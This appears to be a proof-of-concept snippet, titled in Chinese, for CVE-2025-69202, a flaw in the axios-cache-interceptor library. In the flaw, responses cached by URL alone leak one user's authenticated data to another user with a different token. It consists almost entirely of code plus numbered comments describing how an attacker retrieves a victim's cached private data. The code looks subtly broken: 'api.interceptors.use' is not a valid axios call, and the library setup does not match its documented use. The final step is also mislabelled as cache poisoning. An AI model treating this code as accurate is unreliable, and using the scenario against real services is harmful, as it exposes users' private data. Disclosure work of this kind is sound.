CVE-2025-69202 axios-cache-interceptor授权绕过漏洞

// CVE-2025-69202 PoC - axios-cache-interceptor Authorization Bypass const axios = require('axios'); const { CacheInterceptor } = require('axios-cache-interceptor'); // Setup cache interceptor (vulnerable version < 1.11.1) const api = axios.create(); api.interceptors.use(new CacheInterceptor()); // User A authenticates and makes request async function userAMakeRequest() { const response = await api.get('https://api.example.com/user/profile', { headers: { 'Authorization': 'Bearer userA_token_xxx' } }); return response.data; // Cached with key: URL only } // User B (attacker) with different token gets cached response of User A async function userBGetCachedData() { // Vary: Authorization is ignored, returns User A's cached data const response = await api.get('https://api.example.com/user/profile', { headers: { 'Authorization': 'Bearer userB_token_yyy' } }); // User B receives User A's private data! return response.data; } // Exploitation scenario: // 1. Attacker identifies API endpoint that uses axios-cache-interceptor // 2. Attacker makes request with their credentials // 3. If victim previously accessed same endpoint, attacker gets victim's cached data // 4. Authorization bypass achieved via cache poisoning